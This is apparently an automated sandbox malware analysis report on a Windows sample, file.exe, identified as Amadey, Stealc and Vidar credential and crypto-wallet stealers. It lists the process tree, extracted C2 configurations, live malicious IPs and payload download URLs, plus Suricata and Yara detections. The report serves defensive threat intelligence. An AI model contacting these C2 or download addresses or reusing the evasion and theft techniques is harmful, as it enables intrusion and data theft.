Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1558793
MD5:	38a9ecc0994ecbddb16d6fb2d4a3e911
SHA1:	d4bd9f9c0b4dc11f8c4a2f5209ad4795fa4056d5
SHA256:	24f92db69d14575388d39cfbb065ff06b14fedc28fc9e1fedad851672ac6111f
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2756 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 38A9ECC0994ECBDDB16D6FB2D4A3E911)

chrome.exe (PID: 7340 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2256,i,2409446916878352376,5119275927657611550,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2076,i,9206009865590399757,3186735307075706483,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8828 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBFBFBGDBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDBFBFBGDBK.exe (PID: 6812 cmdline: "C:\Users\user\DocumentsDBFBFBGDBK.exe" MD5: 3C271702F5EEBC60E590F6803D8D2238)

skotes.exe (PID: 6708 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3C271702F5EEBC60E590F6803D8D2238)

msedge.exe (PID: 6836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8792 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7000 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8904 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8824 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3C271702F5EEBC60E590F6803D8D2238)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1757866437.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2359164141.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1773393810.0000000004990000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1753987889.0000000000071000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1334436859.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2579030135.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.1773948251.0000000000FF1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.1818261035.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.1732677784.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2756	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2756	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.skotes.exe.a20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsDBFBFBGDBK.exe.ff0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.a20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2756, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7340, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsDBFBFBGDBK.exe" , ParentImage: C:\Users\user\DocumentsDBFBFBGDBK.exe, ParentProcessId: 6812, ParentProcessName: DocumentsDBFBFBGDBK.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 6708, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Executable Download named to be FQDN

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:07:08.322278+0100	2011496	1	A Network Trojan was detected	192.168.2.7	64280	95.163.152.232	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:23.295987+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49718	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:23.284854+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:23.510985+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:24.865223+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49718	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:23.519247+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49718	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:23.061157+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49718	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:07:05.429100+0100	2856147	1	A Network Trojan was detected	192.168.2.7	64278	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:12.987015+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	64279	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:07:08.322278+0100	2803305	3	Unknown Traffic	192.168.2.7	64280	95.163.152.232	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T20:05:25.578953+0100	2803304	3	Unknown Traffic	192.168.2.7	49718	185.215.113.206	80	TCP
2024-11-19T20:05:45.478031+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:47.568688+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:48.260396+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:49.836804+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:51.694655+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:52.055649+0100	2803304	3	Unknown Traffic	192.168.2.7	52448	185.215.113.206	80	TCP
2024-11-19T20:05:55.788058+0100	2803304	3	Unknown Traffic	192.168.2.7	64193	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpsE(	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll6y	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpbn	Avira URL Cloud: Label: malware
Source: http://95.163.152.232/IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllDy;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllaF	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllr~	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/PR	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001B.00000003.2359164141.0000000005100000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.2756.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEBA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CEBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB44C0 PK11_PubEncrypt,	1_2_6CEB44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB4440 PK11_PrivDecrypt,	1_2_6CEB4440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE84420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CE84420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6CF025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE9E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CE9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE98670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CE98670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEBA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6CEBA650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6CEDA730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6CEE0180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB43B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6CEB43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6CED7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE97D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CE97D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6CEDBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6CED9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB3FF0 PK11_PrivDecryptPKCS1,	1_2_6CEB3FF0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:52384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.7:52445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.22:443 -> 192.168.2.7:52456 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.3.187.198:443 -> 192.168.2.7:64156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:64167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:64185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:64194 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: IObit.exe.27.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49718
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49718 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49718
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49718 -> 185.215.113.206:80
